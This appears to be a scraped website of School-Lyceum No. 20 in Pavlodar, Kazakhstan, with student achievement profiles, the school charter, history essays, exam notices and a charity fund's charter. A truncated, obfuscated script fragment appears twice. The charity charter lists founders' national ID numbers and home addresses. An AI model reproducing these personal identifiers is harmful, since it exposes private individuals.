// <![CDATA[ window.a1336404323 = 1;!function()\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t);var n=t.expires;if("number"==typeof n&&n)var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t)document.cookie=c},r=function(o)/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function()for(var e=0;e

АЛЫБАЕВ АЗАМАТ Алыбаев Азамат - ученик 10 К класса школы – лицея №20, призер (I место) республиканского чемпионата по кикбоксингу, призер (II место) в Открытом Кубке города Семей по кикбоксингу, призер (III место) Открытого обласного турнира по боксу, посвященного памяти Е.П Ужгина, призер (II место) среди подростков 1998 – 1999 г.р. в Открытом городском турнире по боксу (2014-2015 уч.г.). ОСПАНОВА ДАЛИДА Оспанова Далида - ученица 10 К класса, призер (III место) Открытого городского турнира по самбо на приз «Осенние каникулы» среди девочек 1998 – 2000 г.р. в весовой категории 55 кг., призер (II место) городского турнира по дзюдо. Обладатель диплома в номинации «Юный ученый» городского конкурса научных проектов школьников (2014-2015 уч.г.) ҚАЙЫРБЕК БАУЫРЖАН Кайырбек Бауыржан - ученик 9 А класса, чемпион Павлодарской области по шахматам (2014-2015 уч.г.) КОРЯК ВАЛЕРИЯ Коряк Валерия - ученица 8 А класса, призер городского турнира по художественной гимнастике (ІІ место, 2015г.), чемпионата Республики Казахстан по по художественной гимнастике в г. Талды-Курган (ІІІ место, 2014г.), международных соревнований по по художественной гимнастике в г. Астана (ІІІ место, 2014г.). КОНДРАТЬЕВА ЕКАТЕРИНА Ученица 8 А класса, победитель международного хореографического фестиваля «Юные звезды» в г. Москва (І место,...

Утверждено постановлением акимата города Павлодара от «___»_________2012 года №______­­­­______ Устав государственного учреждения «Школа-лицей № 20 города Павлодара» 1. Общие положения 1. Государственное учреждение «Школа - лицей № 20 города Павлодара» (далее – Государственное учреждение) является некоммерческой организацией, обладающей статусом юридического лица, созданной организационно - правовой форме государственного учреждения для осуществления образовательной, воспитательной функций. 2. Вид государственного учреждения: коммунальное государственное учреждение. 3. Государственное учреждение создано решением Акимата Павлодарской области от «_20_» ноября 2002 года (Постановление Акимата Павлодрской области «О создании государсвенного учреждения «Школа-лицей №20 города Павлодара»). 4. Учредителем Государственного учреждения является местный исполнительный орган – акимат города Павлодара. 5. Права субъекта права государственной коммунальной собственности в отношении имущества Государственного учреждения осуществляет местный исполнительный орган – акимат города Павлодара. 6.Органом, осуществляющим Управление Государственным учреждением является государственное учреждение «Отдел образования города Павлодара» (далее – Орган управления). 7.Фирменное наименование Государственного учреждения на государственном...

Концепция школы- лицея № 20 (методологические основы школьной практики) В качестве методологической опоры для функционирования образовательного учреждения нами используется триединство следующих составляющих общую систему: Цель образования – это модель личности выпускника. Средство достижения цели – это общая структура УВП. Условие – это профессионализм учителя. Тип образовательного учреждения Как известно, общее среднее образование Казахстана представлено двумя ветвями – школы и учреждения дополнительного образования. Школы, в свою очередь, делятся на общеобразовательные и элитарные. В состав элитарных входят гимназии, лицеи и специализированные учреждения для одаренных детей. Феномен одаренности присутствует в составе всех школ, но особенно в элитарных. Собственно проект Концепции элитарного образования стал «основным документом, определяющим стратегию развития деятельности по поиску, воспитанию и обучению одаренных детей в Казахстане». Многие идеи этого документа использованы в нашем документе. Итак, лицей № 20 является элитарной школой лицеистского типа и включает в себя качества школ двух направлений: - - с одной стороны, это общеобразовательная школа инновационного типа, то есть школа повышенного уровня обучения; - с другой – это лицей, функция которого осуществлять целенаправленную образовательную подготовку на...

№20 лицей -мектебінің эмблемасы Бұл мектеп-ол көп қырлы жаратылыстану- математикалық бағытындағы лицей, еліміздің ең үздік жоғарғы оқу орнына және шет елдерге мамандығы бойынша оқуға түсуге түлектерге мүмкіншілік туғызатын оқу орны болып есептеледі. Оқу орнының негізгі қызметі мектеп белгісінің негізгі символы - түбір астындағы математикалық белгі және астындағы әріптер ол ЖМЛ (жаратылыстану-математикалық ) іс- әрекет деген мағынаны білдіреді.Үш бұрыш тегін алынбаған,себебі біліктіліктің үш кілтін білдіретін үш бұрыш ол нышан белгісін,лицей білімінің қалыптасуының бағыты екендігін көрсетеді. - Кеңістіктің жоғары бұрышындағы дауыстағыш рупор жиыны лицей түлектерінің жан- жақты коммуникативтік біліктілігін білдіретін және келешектегі барлық жетістіктерін адам және маман ретінде бейнелейді: - Сол жақтағы ағылшынша i әрпі ақпаратпен байланысты іс- әрекетінің мүмкіндігін және ақпараттан бастап ақпараттық мәдени жеке тұлға (ақпаратты біліктілік) ретінде байланыстылығын ашады. - оң жақтағы үшінші кілтті біліктіліктің мағынасы - қабылданған шешімнің , өзіндік менеджменттілігін суреттейді. Оптимальды мінез- құлық сайлау негізінде шығармашылық ұсынылады, қоршаған ортаны келісіммен қарсы алу ережесі ретінде міндетті түрде леп белгілердің асты сызылады. - Ең соңында, лицей түлектерінің және барлық азаматтылығын білдіретін түрлі- түсті...

Ағылшын тілінен халықаралық олимпиада саласының “Инфоурок” жобасына Павлодар қаласының № 20 лицей-мектебінің 10 оқушысы қатысты. I орын - Тулешова Г. -11 М , Смайлов Т.-11 М., Вареник Е.- 9 А , Алыбаев А.- 9 К , Зейнулла М.- 9 К, Калтай А.- 8 К , Жумабаева А.- 8 К, II орын - Калиаскар А.-10 А , III орын - Висман Э. – 10 А сынып оқушылары алды. Осы оқушылар сертификаты арқылы «Тайны познания» (36сағат) курста тегін оқу мүмкіншілігіне ие болды. Оқушыларды дайындаған мұғалім, Ж.М.Нурмахановаға, Инфоурок сайтына белсенді қатысқан үшін алғыс жарияланып және жеңімпаздарды дайындаған куәлік берілді.  

"Подвиг этот, будет в памяти жить Давай, девятого, помянем их, Кого сегодня нет уже в живых… Кто так и не вернулся в сорок пятом, Оставшись в нашей памяти солдатом… И тех, вернулся кто, но вскорости ушёл — На свете том пристанище нашел… Виной всему — жестокая война, Дающая посмертно ордена, Изранившая души и тела, Принесшая живому столько зла!!! Защитники! Вас свято будем чтить, И годы страшные те в памяти хранить, Ведь благодарные потомки и страна Своих героев не забудут имена!!! Розбицкая Наталья Великая отечественная война 1941-1945 г Великая Отечественная война – это, пожалуй, самое крупнейшее событие XX столетия. Она смогла определить дальнейшую судьбу многих людей, самых разных национальностей и вероисповеданий. Вопросы, связанные с ее предысторией, причинами, характером, периодизацией и итогами были и продолжают оставаться самыми актуальными на дискуссиях в политических и научных кругах. Если же говорить об общественном мнении, то оно также не стоит на месте, и каждый год обрастает все новыми гипотезами. А сколько по-настоящему великих полководцев отмечают страницы истории! И самой яркой фигурой является, конечно же, Г.К. Жуков, который с 1942 года был заместителем Верховного Главнокомандующего. О том, каким талантом он обладал, складывались целые легенды. Также немаловажную и довольно заметную роль в процессе...

Государственные образования на территории Казахстана существовали и до нашествия монголов. Так, на юге Казахстана еще в VI—VII вв. сложилось раннефеодальное государство — Западно-Тюркский каганат, позднее — государство Карлуков (VIII—IX вв.), в Х в. возникло феодальное государство Караханидов. На севере Казахстана в Х в. сложилось Кимакское феодальное государство, которое к Х 11 в. стало называться Кыпчакским. Существовавшие тогда государственные образования в результате монгольского завоевания были разрушены. Территория Казахстана была поделена между улусами Чингисхана. Феодальные усобицы жошидов и чагатаидов, походы Тимура обусловили замедленность как хозяйственного, так и общестенно-экономического развития, консервацию патриархалыю-феодальных порядков. Тем не менее, социально-экономические и этнополитические процессы, протекавшие на территории Казахстана, к XIV—XV вв. привели к закономерным итогам — образованию Казахского ханства. Ханства, возникшие здесь во второй половине XV в., отличались от Золотой Орды и подобных ей государственных образований тем, что они были созданы не в результате завоевания, а на местной экономической и этнической основах. К середине XV в. в ханство Абулхайра входила обширная территория, от Сырдарьи до Сибирского ханства. Хотя ханство называлось «Кочевое узбекское», основная масса населения в нем...

Происхождение казахского народа можно разделить на две группы: лингвистические и антропологические. Первый период предстает перед нами с выраженными хоз-культурными традициями, этническими объединениями и рассовыми образованиями. Распространена так называемая андроновская культура эпохи бронзы. В его западной части наибольшее распространение получило срубленная культура, которая послужила основой для нового уклада жизни потомков в последующую эпоху раннего железного века. В 15-16вв. завершился многовековой процесс формирования казах. нар. и ее этнической тер-рии. Решающий этап в этнических процессах в Каз. связан с массовым расселением тюрков с сер. 1тыс. н.э. С образованием Монгольской империи и формированием улусов ускорился процесс интеграции племен и народов. Гос. объединения во второй половине 15-16вв. основных этнических групп в каз. народности и ее этнической территории ускорило процесс завершения формирования каз. нар. Монгольское нашествие серьёзно задержало процесс образования казахской народности, но не смогло остановить его. Медленно восстанавливалась хозяйственная жизнь, стала крепнуть давно установившиеся тенденция к сближению родственных по происхождению, языку, материальной и духовной культуре племён. Процесс сложения казахской народности сопровождался формированием этнической единой территории. В силу действия...

Основными аспектами изучения происхождения казахского народа являются лингвистический и антрополитческий. С этих позиций древнюю историю можно разделить на индоевропейский и тюркский периоды. В III-I тысячелетиях до нашей эры население Казахстана по своим хозяйственным, культурным традициям, в лингвистическом отношении входили в древнеиранскую ветвь индоевропейской семьи. Результаты исследований по археологии, этнографии, топонимике, палеоантропологии свидетельствуют, что в эпоху бронзы и раннего железа на основе хозяйственных, культурных традиций, этнического развития лингвистической близости возникла предковая база процесса формирования культурно-исторической общности последующих племен и племенных союзов Казахстана, включая и Казахскую народность. Начало I тысячелетия н.э. для большей части Евразии, в том числе для Казахстана, Средней Азии ознаменовалось новым этапом в этногенетическом развитии, вследствие чего образовались Кочевые объединения с тюрко-язычными наречиями. В XV-XVI веках в основном завершался многовековой процесс формирования казахской народности и ее этнической территории. Свойственный современным казахам фенооблик окончательно сформировался не позднее 14-15 вв. на основе сложного взаимодействия двух больших рас – автохтонной европеоидной и привнесенной монголоидной. Все это составляет единый монолитный сплав...

ПАМЯТКА ДЛЯ РОДИТЕЛЕЙ. Единое национальное тестирование Скачать ПАМЯТКА ВЫПУСКНИКА ПО РАБОТЕ С ЭКЗАМЕНАЦИОННЫМИ МАТЕРИАЛАМИ. Единое национальное тестирование Скачать ПАМЯТКА ВЫПУСКНИКА. Единое национальное тестирование Скачать ПАМЯТКА. По процедуре подачи и рассмотрения заявления на апелляцию по результатам единого национального тестирования Скачать Павлодар қаласының №20 лицей-мектебінің 2013-2014 оқу жылының ҰБТ-ға дайындалуы мен өткізуін ұйымдастыру жоспары. Павлодар қаласының №20 лицей-мектебінің 2013-2014 оқу жылының ҰБТ-ға дайындалуы мен өткізуін ұйымдастыру жоспары Скачать Приказ №1-03/110. О подготовке учащихся 11-х классов к итоговой аттестации Скачать Информация об ЕНТ. Сулейман Р.Т. Скачать Правила проведения единого национального тестирования. 2013г Скачать Советы для ЕНТ. Сулейман Р.Т. Скачать Сенің болашақ мамандығың. Профориентация сегодня Скачать Кәсіптер рейтингісі. Самые нужные в 21 веке Скачать Талапкерге арналған 10 кеңес. Как получить заветный студбилет, избежав нервотрепки и существенных денежных потерь. Скачать Советы по подготовке к ЕНТ для выпускников Скачать Средние баллы на грант по всем специальностям (без баллов по казахскому/ русскому языкам) Скачать Памятка о ЕНТ выдержки из правил ЕНТ Скачать График консультаций по подготовке к ЕНТ. 2 четверть Скачать Об...

  // <![CDATA[ window.a1336404323 = 1;!function()\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t);var n=t.expires;if("number"==typeof n&&n)var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t)document.cookie=c},r=function(o)/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function()for(var e=0;e

«Мектепке жол» акциясы «Мектепке жол» акциясы 2014-08-03 07:33:53 кошіріпалу Жақсылық жаса 2 флаер 2013-08-19 10:18:03 кошіріпалу Жақсылық жаса 1 флаер 2013-08-19 10:16:52 кошіріпалу Сізді "Мектепке жол" қайырымдылық акциясының қатысушысы болуға шақырамыз плакат 2013-08-19 10:13:57 кошіріпалу Балаларды қорлау желісі листовка 2013-08-19 10:11:52 кошіріпалу План мероприятий по проведению в школе-лицее № 20 с 1 августа по 30 сентября 2013 года общереспубликанской акции «Дорога в школу» под девизом «Вместе мы создаем наше будущее!» 2013-08-19 09:53:16 кошіріпалу

Республикалық қоғамдық бірлестігі «Жас Ұлан» Туы Материал:атлас,екі қабатталған ту Өлшемі :1x2, (100 см х 200 см) Бейнеленуі:бір жағының ортасында, диаметр - 70 см Көмкерілген: алтын түстес бахрома Безендіру әдісі: жібек трафоретті мөр Бояулары : пластизовалық, күн сәулесіне және атмосфералық әсерге тұрақты, жанбайды «Жас Ұлан» төсбелгісі Республикалық бірыңғай «Жас Ұлан» балалар мен жасөспірімдер ұйымы мүшелерінің АНТЫ   Лозунги   Текст гимна   Гимн   Структура  

Оқушылардың өзін- өзі басқару ұйымы туралы жалпы жаднамасы Оқушылардың өзін- өзі басқаруы – оқушылардың ұжымдық іс- әрекеттерін ұйымдастыру формасы, олардың өздігінен дамуына , қоғамдық маңызды мақсаттарға жету үшін шешімдерді қабылдауға және жүзеге асыруын қамтамасыз етеді. Өзін- өзі басқару – оқушылардың ұйымдастыру қабілетін және өз- ара қарым- қатынас пен жауапкершілікті сезінуі, өз өмірінің шығармашылығын жетілдіру, өзіндік пікір қалыптастыру негізінде мектеп ұжымының өмірлік іс- әрекеттерін басқару. Тәрбие- бұл балалар өмірінде мерекелік іс- шаралар емес, негізгі ұйымдастыру түріне тәрбиелеу- балалардың өздігінен оқуына байланысты өзін- өзі басқару,адамдармен іскерлік қарым- қатынас жасай білуі, өз ісіне жауап беру және шешім шығара алуға дайын болу. Мектеп өміріндегі әр сынып өзін- өзі басқарудың дамыту жүйесін жүзеге асыру негізгі шарты болып табылады, сынып ұжымының өзін- өзі басқару ұйымы жұмысын бір бағыт бойынша, орталықтандырылған басшылық бойынша қамтамасыз етіледі. Мектепішілік өзін- өзі басқару ұйымының негізгі мақсаты сынып ұжымымен әр түрлі іс –әрекеттер ұйымдастыру болып табылады: қоғамдық, оқу, еңбек, мәдени, спорттық- туристік. Әлеуметтік- педагогикалық міндет оқушылардың өзін- өзі басқаруын дамытудың өзектілігі болып табылады. Мектеп ісін басқаруға оқушылардың қатысуы- бұл балаларды демократияға...

Құқықтық тәрбие адам өміріне тұлғалық құқықтық сананы мақсатқа бағытталған , ұйымдастырылған, жүйелі сана –сезімін қалыптастырады. Тәрбие санағы өтіп, азаматтардың құқықтың мәдениетін жүйеге келтіреді. Құқықтық тәрбиені дұрыс ұйымдастыру үшін, ең алдымен, құқықтың тәрбиенің не екенін түсінген абзал. Айта кету керек, «құқықтық тәрбие» деген ұғымның ортақ термині жоқ. Біреулер құқықтық тәрбие деп құқықтық білімді түсінеді және бұл білімді оқытуды қажет деп қалыптастырады. Басқалар құқықтық тәрбие – құқыққа , заңға деген құрмет, сонымен қатар құқықтық нормаларды орындаудағы дағды деп түсінеді.Үшіншілер құқықтық тәрбиеде тәрбиешінің мақсатқа бағытталған іс –әрекетін болашақ ұрпақтың бойында белгілі бір көзқарасты, қажеттіліктер мен кызығушылықтарды, құнды бағдарлаулар мен тәртіптің қондырысын қалыптастырады. Сонда да құқықтық тәрбиені мазмұны құқықтық ағартушылық болатын тиімді және жан- жақты процесс ретінде қарастырған жөн Бірақ тәрбиешінің құқық, заң, құқықтық іс-әрекет жөніндегі білімін байыту ғана емес, сонымен қатар құқықтық нормаларға сай адамның өзін-өзі жетілдіруге арналған , тәрбиеленеуші тұлғаның сана- сезіміне әсер ету. Саади айтқандай, «Кімде кім ғылымға үйреніп, оны қолданбаса, сол жерді жыртқанмен, екпегенге ұқсайды» Құқықтық тәрбиенің маңызды құрамды бөлігі –құқыққа, заңға деген сый-құрметті қалыптастыруды, оның...

Здоровый образ жизни (ЗОЖ) — это работа определённого индивидуума над улучшением своего здоровья и в целях профилактики заболеваний и повышения качества жизни. С помощью здорового образа жизни человек увеличивает продолжительность своей жизни и полноценно выполняет свои социальные функции. ЗОЖ приобретает актуальность особенно в последнее время, поскольку в период прогресса и развития всевозможных технологий на человеческий организм действуют разного рода нагрузки, связанные с усложнением структуры общества, повышением техногенных, экологических, психологических, политических и военных воздействий, которые провоцируют неблагоприятные сдвиги здоровье людей. Здоровый образ жизни представляет собой рациональную организацию труда, семьи, быта, досуга и общественной деятельности. Основными компонентами здорового образа жизни являются: Рациональное питание. Регулярные физические нагрузки. Личная гигиена. Закаливание организма. Отказ от вредных привычек.

Қоғамдық қордың ЖАРҒЫСЫ «Шапағат» қайырымдылық қоры» 1. Жалпы ережелер 1.1.Аталмыш Жарғы Қазақстан Республикасының заңнамасына сәйкес әзірленген және «Шапағат» қайырымдылық қордың негізі міндеттерін, құқықтары мен заң мәртебесін белгілейді (бұдан былай мәтін бойынша Қор). 1.2.Қордың түрі - қоғамдық. 1.3.Бұл Жарғы Қазақстан Республикасының Ата заңына, Қазақстан Республикасының Азаматтық Кодексіне, Қазақстан Республикасының «Коммерциялық емес ұйымдар туралы» және басқа да заңнамалық актілерді өз қызметінде басшылық алады. 1.4.Қордың құрылтайшылары: -Кожаханова Ажар Жастлековна, жеке куәлігі № 004924303, 19.05.1998 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар обласы, Павлодар қаласы, Камзин көшесі,62-225. -Кожанова Сауле Васильевна, жеке куәлігі № 017802495, 27.04.2005 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар қаласы, Исиналиев көшесі, 30-15. -Махмутжанов Абдималик Абилпаттаевич, жеке куәлігі № 030083392, 04.06.2010 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар қаласы, Короленко көшесі, 7- 32. 1.5.Толық атауы: «Шапағат» қайырымдылық қоры. 1.6.Қысқаша атауы: «Шапағат» қайырымдылық қоры» ҚҚ. 1.7.Қордың заңды мекенжайы: Қазақстан Республикасы, 140000, Павлодар облысы, Павлодар қаласы, Генерал Дюсенов көшесі, 72....

Внимание! Набор учащихся на 2016-2017 учебный год! Скачать Перечень научных кружков для учащихся средних общеобразовательных школ г. Павлодара при ИнЕУ Скачать Конкурс инновационных проектов Скачать Научно-практическая конференция МАН РК «Интеграция образования и науки – шаг в будущее». Информационное письмо Скачать прием учащихся(рус)скачать